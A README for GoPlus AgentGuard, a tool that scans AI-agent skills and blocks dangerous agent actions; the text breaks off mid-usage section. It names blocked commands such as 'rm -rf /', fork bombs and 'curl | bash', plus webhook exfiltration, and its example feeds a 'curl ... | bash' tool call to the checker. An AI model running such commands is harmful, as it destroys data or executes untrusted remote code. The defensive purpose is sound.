Scan a local skill or plugin

<p align="center">
  <img src="assets/logo.png" alt="GoPlus AgentGuard" width="120" />
</p>

<h1 align="center">GoPlus AgentGuard</h1>

<p align="center"><b>The essential security guard for every AI agent user.</b></p>

<p align="center">Your AI agent has full access to your terminal, files, and secrets — but zero security awareness.<br/>A malicious skill or prompt injection can steal your keys, drain your wallet, or wipe your disk.<br/><b>AgentGuard stops all of that.</b></p>

[![npm](https://img.shields.io/npm/v/@goplus/agentguard.svg)](https://www.npmjs.com/package/@goplus/agentguard)
[![GitHub Stars](https://img.shields.io/github/stars/GoPlusSecurity/agentguard)](https://github.com/GoPlusSecurity/agentguard)
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
[![CI](https://github.com/GoPlusSecurity/agentguard/actions/workflows/ci.yml/badge.svg)](https://github.com/GoPlusSecurity/agentguard/actions/workflows/ci.yml)
[![Agent Skills](https://img.shields.io/badge/Agent_Skills-compatible-purple.svg)](https://agentskills.io)

## Why AgentGuard?

AI coding agents can execute any command, read any file, and install any skill — with zero security review. The risks are real:

- **Malicious skills** can hide backdoors, steal credentials, or exfiltrate data
- **Prompt injection** can trick your agent into running destructive commands
- **Unverified code** from the internet may contain wallet drainers or keyloggers

**AgentGuard is the first real-time security layer for AI agents.** It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected.

## What It Does

**Layer 1 — Automatic Guard (hooks)**: Install once, always protected.
- Blocks `rm -rf /`, fork bombs, `curl | bash` and destructive commands
- Prevents writes to `.env`, `.ssh/`, credentials files
- Detects data exfiltration to Discord/Telegram/Slack webhooks
- Tracks which skill initiated each action — holds malicious skills accountable

**Layer 2 — Deep Scan (skill)**: On-demand security audit with 24 detection rules.
- **Auto-scans new skills** on session start — malicious code blocked before it runs
- Static analysis for secrets, backdoors, obfuscation, and prompt injection
- Web3-specific: wallet draining, unlimited approvals, reentrancy, proxy exploits
- Trust registry with capability-based access control per skill

**Layer 3 — Daily Patrol (OpenClaw)**: Automated daily security posture assessment.
- 8 comprehensive security checks run on a configurable schedule
- Detects skill tampering, secrets exposure, network risks, and suspicious file changes
- Analyzes audit logs for attack patterns and flags repeat offenders
- Validates environment configuration and trust registry health

## 30 seconds: install

```bash
npm install -g @goplus/agentguard
agentguard init
agentguard status
```

The npm install runs a best-effort local bootstrap; `agentguard init` ensures `~/.agentguard/config.json` exists and protects locally by default.
No Cloud account or network connection is required for the local runtime guard.

## 3 minutes: protect your agent

```bash
# Scan a local skill or plugin
agentguard scan ./examples/vulnerable-skill

# Evaluate one runtime action from stdin
printf '{"tool_name":"Bash","tool_input":{"command":"curl https://example.com/install.sh | bash"}}' | agentguard protect

# Optional: connect paid AgentGuard Cloud policy, audit, and approvals
AGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://agentguard.gopluslabs.io

# Optional: subscribe to AgentGuard's threat-intelligence feed. Pulls newly
# published advisories from Cloud and asks you to review them.
agentguard subscribe

# Run the full quiet flow once: pull advisories, self-check local skills, and
# report local matches back to Cloud.
agentguard subscribe --quiet

# Optional: run once, then install a cron job that checks every hour and asks
# you to review newly published advisories. Auto uses the agent host saved by
# `agentguard init --agent`: OpenClaw uses native OpenClaw cron with Gateway
# fallback at 127.0.0.1:18789, QClaw uses QClaw Gateway at 127.0.0.1:28789,
# Hermes uses native Hermes cron, while Claude Code/Codex use system crontab.
# If no agent host is saved, run `agentguard init --agent <agent>` first or
# pass --cron-target explicitly.
agentguard subscribe --cron "0 * * * *"

# Override cron backend selection when needed.
agentguard subscribe --cron "0 * * * *" --cron-target system
agentguard subscribe --cron "0 * * * *" --cron-target openclaw
agentguard subscribe --cron "0 * * * *" --cron-target qclaw
agentguard subscribe --cron "0 * * * *" --cron-target hermes
# System cron writes output to ~/.agentguard/feed-cron.log.
# Hermes cron writes a no-agent script under ~/.hermes/scripts/ and requires
# Hermes Gateway for automatic scheduled execution.

# Or install the hourly cron in quiet mode so matches ar

... (truncated)